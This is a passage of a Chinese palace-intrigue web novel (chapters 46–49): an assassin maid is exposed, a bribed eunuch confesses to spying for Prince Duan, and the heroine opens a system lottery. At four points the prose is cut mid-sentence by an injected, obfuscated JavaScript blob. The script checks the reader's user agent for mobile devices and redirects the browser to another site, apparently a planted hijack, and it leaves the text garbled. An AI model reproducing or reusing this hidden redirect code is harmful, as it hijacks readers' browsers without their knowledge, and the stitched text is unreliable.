福安甚是有眼色,“你,将那盆花挪去贵人说的地方。” 拂尘一指,花筝便停了下来福身,“是,奴婢这就搬。” 走动之时,贺云徽耳尖微动,原本柔和的眼神骤然暗下,微凉的眸子带着审视,看着那名宫女。 【123,兑换脚底抹油,扔她脚下。】姜舒月瞅准时机忙让123兑换道具。 【兑换成功,积分-5,剩余积分:470。】 下一秒,花筝脚底便凭空出现一小滩油渍。 花筝刚来弦月宫,正是想要好好表现,争取在姜舒月面前露脸,没有想到脚底一滑,整个人向后倒去。 不好! 电光火石之间,身体先大脑一步做出反应。 只见她向后弓腰,左手撑在地上,身子腾空而起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407102|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花盆已被她甩出,落在地上碎了一地。 待她落地,才回过神来,冷汗立刻濡湿了后背。 “呀,你竟然会武功,好厉害!” 身侧的人儿眼睛透亮,惊奇地看着对方,丝毫不觉得有什么不对。 “奴婢该死,请皇上饶命!”她立刻下跪请罪,“奴婢不会武功,只是、只是幼年曾学过戏。还请皇上饶了奴婢!” 见贺云徽没有说话,花筝又转向姜舒月,“贵人救救奴婢,奴婢不是有意的!” “花盆碎了而已。”她摆摆手,毫不在意。 目的已经达到,剩下的就交给贺云徽了。 花筝咬牙跪福着,自己已然败露,又想起主子的话。 闭了闭眼,从腰间抽出软剑,一跃而起,冲着贺云徽面门冲去。 福安脸色大变,大喊:“护驾!” 原本藏在暗处的暗卫,立刻闪身出现在贺云徽身边。 几个宫女太监也没见过这阵仗,都吓得呆愣在原地。 贺云徽坐在椅子上,连动都没有动过。 姜舒月惊呼一声,又被贺云徽牢牢地护在怀里。 她就势假装害怕蜷缩在贺云徽的怀里,眼神还不忘看暗卫和花筝的打斗。 花筝不愧是端王派来的暗桩,竟也能和暗卫缠斗不落下风。 中途找了破绽,执剑破声而来,“狗皇帝,我杀了你!” 还未等接近,就被身后的暗卫的剑捅了个对穿,不甘的倒在地上,双目圆睁。 贺云徽早已提前捂住了姜舒月的眼睛,她不该看到这些血腥的场面。 “陛下,妾身害怕…”她声音发颤,双手还紧紧地攥着贺云徽的衣服。 安抚一般将人护在怀里,“来人,扶你家娘娘进去休息。” 胸前一紧,姜舒月的手还紧紧地抓着他的衣服,“别怕,朕就在外间。” 闻言,姜舒月便松了手,几个宫女忙送人进了内室。 “收拾干净,还有今天的事情,朕不想在外面听到一点风声。” “属下/奴才遵命。”好在弦月宫目前只有伺候姜舒月的几个宫人,大家都知道这件事宣扬出去的后果,又不是不想活了,都跪下表示自己一定守口如瓶。 挥了挥手,他想起刚才姜舒月害怕的样子,“福安,姜贵人受惊,去开库房,选些东西送来,你亲自去。” “是。”福安躬身,带着福明离开,留下福禄伺候 推开门,扶风几个宫女都围在姜舒月身边,生怕她因为刚才的事情害怕。 “见过陛下。” 见贺云徽进来连忙行礼。 “陛下!”姜舒月一看到他的身影,立刻扑了过来。 第46章 越怕什么越来什么 “好可怕,怎么会有刺客在妾身宫里……您可有受伤?” 说着还紧张地检查了一番。 这要是在她宫里受伤了,再被有心人宣扬一下,自己就有可能被诬陷和刺客有勾结。 “无事,别担心,可有吓到?” 她听完眼圈一红,紧紧抱住贺云徽,哽咽着说道:“妾身快要吓**!那个什么花筝,来妾身这里好几天了,平时看着老实,没成想……该不会、该不会宫里还藏了其他东西吧!” 姜舒月是有意要引导贺云徽的,123说花筝在宫殿里藏着不少情报,等着合适的机会传递出去。 她虽然是受害者,但是现在刺客出在她宫里,她不想办法把自己撇清,难保贺云徽不会疑心自己。 贺云徽拍了拍她,“别怕,待会让他们仔细搜查一番。” 姜舒月埋在贺云徽怀里,胡乱点头,又抬起脸,小嘴一瘪,“陛下,今晚能留下陪妾身吗?妾身害怕……” 这是姜舒月第一次开口留贺云徽。 他想了想,今日她确实受惊了,整个人现在都还在微微颤抖。 “好,今日朕留下陪你。” 姜舒月闻言才算是松了一口气,展颜一笑。 踮起脚在贺云徽下巴亲了一口,“多谢陛下。” 待福安回来,贺云徽下令搜索弦月宫。 还真的找出来不少东西。 一盒胭脂,几支空心的发簪,密写药水。 还发现了几个弦月宫众人都很熟悉的东西 ——巫蛊人偶。 姜舒月正努力扮演着不知情的受害者,演技不够,道具来凑。 找123兑换的伪装小药丸,脸色唰一下变得苍白。 【兑换成功,积分-5,剩余积分:465。】 看到这些东西的时候,适时的踉跄一下。 随即泫然欲泣地说道:“她与妾身究竟是有何仇恨,竟将如此歹毒之物放在弦月宫。” 贺云徽自是知道,这东西不是拿来害姜舒月,就是用来陷害姜舒月的。 但还是蹙起了眉,福安立刻斥道:“什么腌臜玩意都放在贵人眼前,还不快拿出去!” 待所有东西都收拾干净之后,贺云徽轻抚她的后背,安慰道:“放心,不会有事的,别哭了。” 皇宫内一直都有内奸潜伏着,贺云徽本想趁着这个机会把人揪出来,但看着姜舒月的样子,又不忍离开。 心下叹息,只能先安抚好姜舒月,再去想别的事情。 “福安,传令下去,封锁宫门,找人盯着,有任何风吹草动立刻禀告朕。” “奴才遵旨。” “这下放心了?朕金口玉言,说了会留下就不会走的,”他拍拍姜舒月,“现在可以放开朕了吗?嗯?” 略带调侃的声音响起,姜舒月耳尖微红,“陛下您打趣妾身。” 【当前任务进度已经80%了,宿主加油!】 123最近在恶补各种小说和电视剧,觉得今天晚上月光正好,正是完成任务的好时机。 得知贺云徽留宿弦月宫,后宫不少瓷器都难逃一劫。 尤其是尹宝林屋内。 “娘娘您喜怒!”豆蔻和莲心都在一旁护着她,“小心动了胎气!” 尹宝林摔了几个花瓶后尤未解气,当下翻出了那日姜舒月送来的流云百福白玉佩和翡翠百子如意,重重地摔在了地上。 上好的玉器掉落,碎了一地。 “你,去弦月宫求见陛下,就说我不舒服!” 豆蔻忙扶着尹宝林坐下。 “快去,就说我难受得不得了。” 莲心一愣,“娘娘?” 她双目赤红,头发披散,一点也看不出来往日温婉的模样。 下一瞬间,一个茶杯摔落在她身边,“我让你去,你聋了不成?!” 莲心无法,只能前去。 “娘娘您息怒,奴婢给您梳洗一下,再唤人进来收拾一番,若是让陛下看到您这样,岂不是不美。” 豆蔻一番话很是得尹宝林的欢心,当下也不生气了,急忙让豆蔻给自己整理一番。 今夜弦月宫门口是小方子守着,莲心过来的时候,正遇到小方子和小顺子在闲聊。 小顺子就是那名在兰馨阁附近负责扫洒的太监,巫蛊事件之后,姜舒月便找了机会将人要来了弦月宫。 “小方子公公。”她走路没有什么声响,还把小方子两人吓了一跳。 “哎哟!吓我一跳!”接着灯笼,看清了来人,“这不是莲心姑娘吗,大晚上的您这是?” 小方子心里腹诽着:千万别是来找皇上的! 可越怕什么越来什么。 “烦请公公通报一下,我家娘娘有些不舒服,想请皇上过去一趟。” 小方子脸上的笑淡了下来。 今天弦月宫发生了那么大的事情,现在满宫上下都还有些后怕,连皇上都不忍心让独自娘娘一人,从而留宿在此。 可是来的人不是别人,偏偏是尹宝林身边的宫女。 但,什么事情再大也大不过皇嗣,他就算再不忿,也不能在这种事情上给主子拖后腿。 他深呼吸一口气,扯出一抹笑来,“姑娘在此稍后,容我进去通传一声。” 福安也和两个徒弟忙中偷闲,看小方子一脸严肃的走了进来,还以为外面发生了什么事情。 “福公公,尹宝林娘娘身边的莲心姑娘来了,说是宝林娘娘有些不适,想请皇上过去一趟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422590|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事关皇嗣,福安也严肃起来。 他站在门口仔细听了听门内的声音,只听得一些细细的话说声,想来没有发生什么。 便小心走了进去。 “启禀陛下。” 姜舒月正枕在贺云徽腿上,缠着他说一些早年间在外的一些趣事。 听得高兴呢,就被人打断了。 “什么事?”贺云徽声音透着不耐烦。 “尹宝林娘娘身边的宫女来,说宝林娘娘身有不适,想让您去看看。” 贺云徽皱眉,“不舒服就找太医,朕难道会看病不成?” 说完福安也明白了他的意思,想把人打发走。 姜舒月从他腿上爬起来,尹宝林本来就对她有意见,万一气过头给孩子气没了…… 她虽然讨厌尹宝林,但孩子毕竟是无辜的。 “陛下,尹宝林可能初为人母,有些无措,陛下还是去看看吧。” 她乖巧地坐在榻上,一缕发丝垂在腮边,看着更加娇憨可爱。 手指动了动,抬手将这缕发丝轻轻地别在她耳后。 “真的想让朕去?” 姜舒月没有直接回答,而是帮着给贺云徽整理了一下衣衫,“真话是:不想。但是,这毕竟是陛下的孩子,为了皇嗣,您也应该去看看,尹宝林怕是也希望能够在无助的时候看见您呢。” 她说得坦荡,一双桃花眼黑白分明,一如既往的清澈。 如此坦白,倒叫贺云徽多看了两眼。 “也罢,”他起身掸了掸衣角,“今日终究还是朕食言了,日后朕会补偿你。” 说这,贺云徽俯身在她唇上亲了亲。 “早些休息,若还是害怕,就让人去寻朕。” 姜舒月握着他的手贴在脸上,“有陛下这句话,妾身就不害怕了。” 福安在一旁看着,心里也是啧啧称奇。 还得是姜贵人,会说话办事又得体。 这下皇上不得多多补偿她? 夜色渐浓,月色在云朵的遮盖下忽明忽暗。 踏出弦月宫时,晚风轻轻吹过,带起了一股石榴花香。 莲心还在门口侯着,看见贺云徽便下跪行礼。 “尹宝林为何突然身体不适?”贺云徽声音淡淡的,听不出来喜怒。 “娘娘今日用膳极少,吃了很多都吐出来了,”她绞尽脑汁,想着今日发生的事情,“到了晚间,更是难受得无法安寝,这才斗胆惊扰皇上。” “福安,召太医去翠竹轩,”他转动着扳指,“走吧,摆驾翠竹轩。” “娘娘,您别走了,坐下歇会吧,您都走了半个时辰了。” 尹宝林绞动着手帕,眼神一直望着门口的方向来回踱步。 第47章 作何解释 紧接着,好似听到有人过来的声音,立马躺到了榻上,“快,拿珍珠粉给我脸上补点,还有还有,那个青黛,在我眼下画些颜色。” 手忙脚乱地忙好之后,贺云徽也踏入翠竹轩内。 “皇上驾到!”福明唱到,豆蔻急忙到门口迎接。 贺云徽甫一进门,就看到尹宝林半倚在贵妃榻上,月白色的寝衣裹着她瘦弱的身躯。 听见脚步声,便抬眸看向贺云徽,“陛下万安~” 这一声,可谓是喊得百转千回。 “去,给尹宝林看看。”他没有理会尹宝林,径直坐在主位上,让太医过来诊脉。 今夜太医院当值的太医是胡太医,也是第一个给尹宝林诊出喜脉的太医。 尹宝林虽然一开始脉象不稳,但是李太医一直给她调养,按道理尹宝林的身体应该并无大碍。 胡太医的手指搭上尹宝林的手腕,心里便对尹宝林的‘不舒服’有了计较。 “脉弦而数,是肝气上逆,肝火亢盛之象,加上娘娘饮食失常,难免有些郁气凝结之症,还需宽心为上。” “郁气凝结?”贺云徽忽而轻笑一声,“好一个郁气凝结之症。” 胡太医不知贺云徽这是何意,只能嗫喏退到一旁,安静的当一个人形立牌。 他的眼神滑过尹宝林的脸,又看向案头上那没来得及收拾的珍珠粉和青黛,嘴角勾出一个嘲讽般的微笑。 豆蔻跟随在众人身后进来,眼睛也落到了案头上那些物品。 大惊失色想要上前把东西收走,被莲心紧紧拉住。 “都退下,没有朕的吩咐,谁都不许靠近。”贺云徽最终还是选择给她留些面子。 豆蔻还想挣扎,福安一个眼神过去,她只能颤巍巍地跟着出去了。 门被轻轻地合上,屋内骤然安静下来,沉闷的空气里弥漫着一丝不安。 尹宝林靠在贵妃榻上,浑然不知她此刻已然被贺云徽看穿了伪装,还在佯装柔弱上模样。 “陛下……”那声音带着几分娇嗔,若是换做之前,也许贺云徽还会心生怜惜。 “尹宝林将朕深夜叫过来,是想告诉朕,这郁气凝结之症,是这珍珠粉和青黛补出来的?” 尹宝林指尖颤动,眼神也随之落到案头上,脸色一白。 “朕说过,要你好好精心养胎,看来你并没有把朕的话放在心上。” 他眼里没有任何温度,语气甚至比第一次侍寝那日还要冷淡。 她宁愿贺云徽能够生气。 起码这样能够说明,他对自己还是有些在乎的。 尹宝林身子一颤,眼里闪过一丝慌乱,但很快又摆出一副柔弱无助的模样,抬头看着贺云徽。 “妾身已经听从陛下的吩咐,有好好养胎……” 贺云徽起身缓步走向尹宝林,居高临下地凝视着她。 “是吗?那今日之事,你作何解释?”他的声音不大,却这在静谧的室内格外清晰。 “陛下,妾身…妾身实在是身子难受,”她内心有些慌乱,眼睛不住的乱瞟,“这才急着请您过来,又怎敢欺瞒陛下……” 他眯起眼睛,伸手轻轻抚上尹宝林的面颊,看似亲昵无间,指尖却透着凉意。 “还有几日便要南巡,若你觉得此次无需随行,朕可以成全你,让你留在宫中,好好养胎。” 她‘扑通’一下从榻上滑落,跪在地上,泣不成声,“陛下,妾身知错了,求您开恩……” 还伸出手,作势要握住他的手。 随即,贺云徽轻轻避开她伸过来的手,神色越发冷峻,“你腹中怀有皇嗣,朕乃至全宫上下,自当重视。但你若以为,有了孩子就可以在这后宫中为所欲为,欺君犯上,那你就大错特错了。” “今日之事,朕就当你是一时糊涂,若再有下次,朕定不会轻饶。” “妾身……遵旨。” “你最好记住你说的话。”说罢,不管尹宝林作何表情,转身大步流星朝门外走去。 徒留尹宝林瘫坐在地上。 “娘娘!”两个丫鬟战战兢兢地恭送了贺云徽,一进屋就发现自家娘娘呆愣地坐在地上。 “娘娘您怎么了?!您没事吧?”莲心上下检查着尹宝林。 实在是皇上的脸色太难看了,让她不得不怀疑,皇上是不是对尹宝林动手了。 豆蔻给她到了一杯温水,放在她的手里,惊觉她的手凉的厉害。 “天啊,您的手怎么这么凉,”她转身去给尹宝林拿件披风。 她眼神空洞,坐在那里许久才缓过神来,推开两个丫鬟的搀扶,踉跄着走到梳妆台前。 镜中的人脸色苍白,眼下的青色明显,一副弱不经风的模样。 再看那扇紧闭的门,仿佛能看到贺云徽决然离去的身影。 渐渐的,心底那股不甘逐渐放大。 她咬了咬唇,指甲深深嵌入掌心,“都是因为你……” 尹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15426890|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝林咬牙切齿地低语。 她越想越气,起身又开始在屋内来回踱步,脑子里疯狂地盘算着如何才能挽回局面。 “娘娘?”两个丫鬟对视一眼,都看到了对方眼里的担忧。 莲心知道现在尹宝林不太信任她,只好出去给尹宝林煎安胎药。 那药有一定的安神作用,好歹先让自家主子先休息再说。 用完药的尹宝林,被豆蔻扶到床上躺下。 在彻底入睡前,嘴里还在不停地喃喃自语些什么。 也不知是不是贺云徽心里一直想着姜舒月,不知不觉又往弦月宫走去。 走到一半,又停了下来。 看向弦月宫的方向,那边悬挂于宫门之上的宫灯已然熄灯了。 想来姜舒月也已经歇下了。 “福安。”正跟在贺云徽身后碎步跟着的福安,听到贺云徽的声音。 “奴才在。” “明日,去朕的私库,将那顶点翠嵌宝莲花冠取来,再挑几匹刚从蜀地进贡来的蜀锦,还有上次波斯国进贡的香料,选几盒最上乘的送去给姜贵人。” 福安忙不迭地点头,“陛下放心,奴才定办得妥妥当当。” 姜舒月睡得香甜,又不用时刻对着贺云徽演戏,自然一夜无梦到天明。 宋滢被禁足之后,已经好久没有早起请安了,倒是让姜舒月好好的感受了一番睡到日上三竿的假期生活。 她一动弹,外面侯着的静玉便立刻掀了帘子。 “娘娘,可要起了?”姜舒月睡眠质量很好,晚上几乎不会有醒的时候,所以给她守夜的宫女也不会很难过,偶尔也能在夜里浅眠。 她迷迷糊糊地应着,一双桃花眼因打哈欠洇出些泪水。 弦月宫因为姜舒月醒来,而渐渐开始有些许声音响起。 明夏端着温蜜水进来,“娘娘,喝点温蜜水。” 姜舒月眼睛都还没睁开,就闻到一股清甜的香蜜气味,手准确的拿住了碗,小口小口地喝着。 “昨日可有发生何事?”将碗递出去,静玉和明夏都知道,她问的是昨天贺云徽去了翠竹轩之后的事情。 “小方子早早地就出去打听了,”明夏帮着静玉一起给姜舒月更衣,“只说陛下进去之后,就将所有人都赶了出去,没有人知道屋里发生了什么。但据说,陛下临走时,脸色难看得紧。” 姜舒月终于是清醒了一些,睁开眼睛。 【我知道我知道!】 第48章 能说会道 123不停地在脑海里蹦跶,【她装病,被男主戳穿了,男主就不高兴了,说她再不老实就不让她去南巡。】 嗯……结合这段时间尹宝林怀孕之后的降智行为,是她干得出来的事情。 【不用说,她肯定又把这个事情算在我头上了吧。】 123【没错没错,她已经在盘算怎么对付宿主了!】 事实证明,人在极度无语的时候,是会笑出来的。 静玉和明夏看着突然冷笑一声的姜舒月,还以为她被尹宝林气到了。 “娘娘莫要生气,”静玉给她轻轻地按摩着头皮,斟酌着开口,“陛下心里还是有您的。” 姜舒月知道丫鬟们是在安慰自己,“谁说我生气了,我是在想,今日早膳可不可以拥有一道翡翠虾仁。” 明夏一向对姜舒月的要求有求必应,这就答应着拿着钱,去尚膳居给姜舒月安排。 姜舒月正用青枝,沾了细盐,对着铜镜仔细清洁着。 “对了娘娘,福明公公一早便来了,说是陛下有赏。”静玉看她收拾得差不多了,又给姜舒月腕间搭了一条浅蓝色披帛。 又说道:“奴婢本想叫您,但是福明公公说,陛下怕昨日的事情惊了娘娘,有意叫娘娘好好休息,不必叫起。” 姜舒月想了想,就知道是贺云徽给自己的补偿来了。 “奴才见过贵人娘娘,娘娘万福,”来的是福明公公,几个小太监捧着都承盘在一旁静候着。 “福明公公,”姜舒月点了点头,“这是?” 福明脸上堆着笑容,“昨日事出突然,陛下心中对姜娘娘一直放心不下。这不,特意命奴才给您送些东西来。” 说完,示意身边的小太监将都承盘放下。 几样放在现代都是千万级别的珍品,姜舒月见了财迷属性爆发,眼里的欢喜几乎要溢出来。 “我很喜欢,”她笑眯眯地,“烦请公公代我谢过陛下,还请陛下不必因为昨日之事介怀,孰轻孰重,舒月还是明白的。” 福明连忙应道:“姜娘娘深明大义,您的话奴才一定带到,那奴才就不打扰娘娘了,先行告退。” “诶,公公稍等。”姜舒月突然想起什么,转身回到屋内。 一刻钟后,她脸颊微红,手里拿着几张叠好的宣纸,递给福明。 她可没忘,贺云徽说自己会每日检查她的功课。 只是那宣纸之上,被姜舒月写了几首极为暧昧的诗词。 实在是任务马上要到期了,这最后的20%迟迟吃不上,姜舒月难免有些心急。 “这个,劳驾公公替我交给陛下。”说话时,姜舒月脸上染上绯色的红晕,如桃花初放。 叫旁边的人都看呆了去。 福明双手接过,“娘娘放心,奴才定会将信完好无损的交给陛下。” 宣明殿 “参见陛下。”银翎手里拎着一个小太监,被绳子捆的严严实实。 “属下按照您的意思,对这几日进出殿中省和内侍省的人进行了排查,属这太监最为可疑。此人每月的初一都会单独和张进宝见面,且每次见完面之后,张进宝出宫之后的开销也较之以往更加铺张浪费。” 那名太监满脑袋的汗,下巴已经被银翎卸掉,以防他牙里藏了毒或者咬舌自尽。 仿佛已经失去了求生的意志,那名太监倒在地上一点反应都没有。 贺云徽听着银翎的禀告,手指轻敲着书桌。 福安,传殿中监。 殿中监张进宝赶到时,那太监还在宣明殿的地上躺着,他眼皮一颤,心道遭了。 “奴才见过皇上,皇上万福金安。”张进宝跪在地上,额头沁出的汗珠浸湿了面前的地面。 张进宝,你可知罪?贺云徽的声音如同冰锥,让人心生寒意。 他连连磕头,直呼冤枉,“奴才不知,究竟是犯了何罪。” 贺云徽冷笑,指尖转动着扳指,“那你可识得此人。” 福安抬手,侍卫得了指令,将那人扔了过来,沉闷的声音砸在地上,也砸在了张进宝的心头。 看着被卸了下巴的太监,张进宝额头上的冷汗落得更多了。 “这,这太监有些眼熟,想来应该是哪个宫里的,不知是否犯了大罪,您吩咐一声,自有奴才为您分忧,何须劳驾陛下您……” 福安向来和张进宝互相看不顺眼,闻言冷笑一声,“张公公好一张能说会道的嘴,来人!” 又是一阵脚步声,眼前又多出一具尸体。 正是昨日意图行刺的花筝。 “啊!这这这……”张进宝吓得双腿一软,连挣扎远离的力气都没有。 才把人送入弦月宫几日,就成了这幅鬼样子。 “那这人,你可识得?” “识、识得,前几日奴才见她机灵,正好贵人娘娘那里缺个洒扫宫女,便送了过来。”张进宝重新爬起来跪好,飞快地说着。 这套说辞仿佛演练过上千次,说的无比顺畅。 “机灵?你可知你口中颇为机灵的宫女,在昨日,意图行刺朕?”贺云徽轻笑,指了指花筝。 陛下明鉴!奴才真的只是给贵人娘娘送了一个扫洒宫女…至于她大胆竟敢行刺陛下,奴才当真不知啊! 这可是掉脑袋的大事,给他10个胆子他也不敢做这种事情! 突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432304|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然,贺云徽抽出一旁侍卫的刀,刀锋抵在张进宝喉间,只是轻轻一挑,张进宝颔下赘肉便立刻渗出殷红的血珠。 “啊!陛下饶命陛下饶命啊!”他浑身颤抖如筛糠,因喉间还有刀抵着,只能拼命向后仰着。 如今这个情况,再不说实话,只怕自己今日必定要命丧当场,但也只能挑着能说的说了。 “端王、是端王!是他给了奴才一箱黄金,只说是监视姜贵人…奴才只知道这么多,求陛下开恩啊!” 贺云徽收回刀,“开恩?朕竟不知自己一手提拔起来的殿中监总管太监,为了这黄白之物,可视朕,视这云朝律法为无物。” 张进宝像是溺水的人抓住了浮木,一把抓住贺云徽的龙袍下摆,涕泪横流。 奴才该死!奴才一时猪油蒙了心...求陛下再给奴才一次机会吧! 贺云徽一脚将他踹开,“机会?朕将你一手提拔至殿中监,你对得起朕的信任?” “属下参见陛下。”琼林身后跟着两个侍卫一起,抬着一个红木的箱子进来。 看到红木箱子,张进宝心里只有绝望。 红木盒子上本来应该上了一把锁,早已经被琼林用剑劈开。 打开之后,里面装满了金银珠宝,和一些书信。 “这些书信和财物,都是属下在张进宝屋中搜出,请陛下过目。” 贺云徽随意拿起一封信,一目十行的看完,随后便扔在张进宝脸上。 “张公公确实有一张能说会道的嘴,只是不知道你所选之主,是会相信你呢,还是会**灭口一劳永逸呢?” “琼林。”贺云徽转头看向琼林,“去,把张进宝在宫内安插暗桩的的消息散播出去,让端王以为他为了意图自保泄露了名单。做得巧妙些,最好能让这些暗桩自乱阵脚。” 张进宝脸色如丧考妣,“陛下饶了奴才吧!奴才再也不敢了陛下!……” “将他拖下去,好生看管。”贺云徽挥了挥手。 “是。”琼林堵了他的嘴,拖了出去。 他又拿起另外一封信,“呵,真是朕的好兄弟。如此关心朕的后宫,若不礼尚往来一番,岂不显得朕这个做兄长的小气。” 扳指转动地越发快起来,“轻竹那准备得如何?” “只等陛下吩咐。” 听闻京都最大的销金窟中,来了一名国色天香的女子,一曲《摇光赋》名动京都。 就连端王也成了其入幕之宾,多次想要为其赎身,却被女子拒绝。 女子放言,只有破了她设下的三道题,才是她心目中的良人。 “去吧,告诉她,鱼儿吊得太久,可是要跑的。” 第49章 幸运大抽奖 银翎抱拳行礼,“是,属下领命。” 贺云徽负手立在大殿中央,抬头往向殿上的牌匾。 克明俊德四个大字苍遒有力。 「徽儿,父皇知你胸中雄才伟略。父皇只求你一件事,将来若是帆儿……看在父皇的面子上,你留他一命吧。」 父王,您即知如此,却还是给朕留了一个心腹大患。 福安他从小就跟在贺云徽身边,见状就知道,皇上必定又想起了先皇。 “参见陛下。”福明放轻了脚步,躬身给贺云徽行礼。 “起来吧,”他收回思绪,“东西可送过去了?她看着如何?” “回禀陛下,奴才今日早早地便去了弦月宫,去到之时,姜娘娘还未起,陛下有令无需吵醒姜娘娘,奴才便等了些时候。” 听到福明说姜舒月卯时还没起,贺云徽想到她起身时困倦的模样,眼里闪过一丝笑意。 “姜娘娘看到很是欢喜,尤其是那顶点翠嵌宝莲花冠,姜娘娘爱不释手,托奴才给您带话,谢陛下的赏赐,还让陛下无需介怀。” 贺云徽脸上的神色柔和下来,丝毫不见刚刚处理张进宝时的威压。 “她可还有说些别的?”嘴角不自觉的微微上扬,就连语气也缓和不少。 福安再次感叹,姜贵人对于贺云徽的影响,已经到了显而易见的地步了。 也算是姜贵人的造化了。 福明从怀里掏出一叠宣纸,“姜娘娘还托奴才,给您带了她写的书信。” “哦?”贺云徽倒是有些意外了,那日教她写字时满脸的不情愿,今日倒是主动写了书信。 “呈上来。” 宣纸上,姜舒月一手稚嫩的字写得并不好看。 但是内容…… 饶是贺云徽经历了大风大浪,也被姜舒月的大胆惊得眼皮子跳了跳。 那宣纸上,赫然写着—— 携手揽腕入罗帐,含羞带笑把灯吹。 金针刺破桃花蕊,不敢高声暗皱眉。 另一张上面写着—— 花明月暗笼轻雾, 今宵好向郎边去。 划袜步香阶,手提金缕鞋。 画堂南畔见,一晌偎人颤。 奴为出来难,教君恣意怜。 福安看着自家陛下,一会脸上震惊,一会眉头紧锁,难得对姜舒月送来的书信产生些好奇心来。 良久,就见贺云徽握拳抵住嘴,轻咳一声。 “越发的没个规矩了,竟敢写出此等……若叫御史看见,非参她个魅惑君主之罪不可!” 福安毕竟从小跟在贺云徽身边,对于贺云徽的喜怒哀乐早已洞察于人心。 听他如此一说,便知贺云徽言不由衷,赔着笑说道:“姜娘娘也是心系陛下,这般用心,旁人知道了也是只有羡慕的份。” 贺云徽想起姜舒月昨日乖巧劝他离去的样子,眼里笑意又深了一些,佯装严肃,“即便如此,也该懂些分寸。” 嘴上这么说着,手里的诗词被他来回反复看了几遍。 眼角余光瞥到福安笑着,脸上那笑意突然碍眼起来。 他小心翼翼地把宣纸收好,收了表情回头给了福安一脚。 “哎哟!”那一脚并没有踹得很疼,但福安配合地歪了歪身子。 踹完也不看福安耍宝,他回到书桌后,翻开一本奏折开始处理政务。 随后又吩咐下去,“这两日事情多,去告诉姜贵人,朕今日忙完再去看她,不用等朕用膳。” “是。”福明应声离开。 【叮——成功揪出内奸,并且告知男主,奖励五次幸运大抽奖,请问宿主是否需要抽奖?】 正在和扶风她们酣战的姜舒月,听到了来自123的声音。 姜舒月听了眼睛一亮,要知道在现代的时候,她最喜欢玩的游戏就是可以抽卡的游戏了。 虽然她每次脸都很黑,但是并不妨碍她对这类抽奖的喜爱。 【当然要!等会啊!】麻将也不香了,姜舒月让静玉来替自己打牌,她则进入到内室。 【123,抽奖是会给系统商城里的东西吗?】姜舒月兴致勃勃的翻看着系统商城。 里面有几个道具需要的积分很高,姜舒月一直没有舍得买。 小橘猫点点头,说道【什么样的道具都可能会抽到的,有的时候也会抽到无用的道具。】 【呸呸呸,】姜舒月连忙制止了123的乌鸦嘴,【我今天可是赢了不少钱,运气肯定没得说。】 她兴奋地搓搓手,虔诚地准备着抽奖前的仪式。 看她又是净手又是拜拜的,123不好直接打击她,只好耐心等待她做完这些动作。 【请问宿主是否开启抽奖?】系统面板上出现两个字:是/否。 深呼吸了一下,姜舒月点了是。 面板上一阵光芒闪过,装着道具的盒子不停地在奖池中乱跳。 大约5秒过后,面板上出了一个紫色,三个蓝色和一个绿色的盒子。 每个盒子都抖动着,似乎在跟姜舒月说:快来打开我! 【是否一键打开?】 【开!】姜舒月说完的一瞬间,紧张地闭上了眼睛,随后又悄咪咪地睁开一条小缝看着。 【恭喜宿主获得紫色道具:椒房专宠:点燃后侍寝必孕,胎儿性别可选; 蓝色道具:魅心香:一种极为独特的香料,香气淡雅能悄无声息地影响他人心智; 蓝色道具:安胎圣果:孕妇食用后,能显著增强腹中胎儿体质,无惧外界伤害3次; 蓝色道具:毒芹粉:使目标腹泻3日,无法侍寝,50%概率毁容; 绿色道具:兰花盆栽:香气宜人,可净化空气,使人心旷神怡。】 姜舒月知道绿色道具可能是没用的,但没想到这么没用。 【是否选择使用道具?】 她环顾了四周,指着一个空着的圆香几,【那个劳什子的兰花盆栽,就放这吧。】 只见空空如也的圆香几上,下一秒便出现了一盆兰花。 叶片修长,顶端的花药呈金黄色,姜舒月凑近一闻,阵阵若有若无的淡雅香气萦绕在四周。 行吧,好歹放着也能欣赏,总比来个什么乱七八糟的道具强。 * 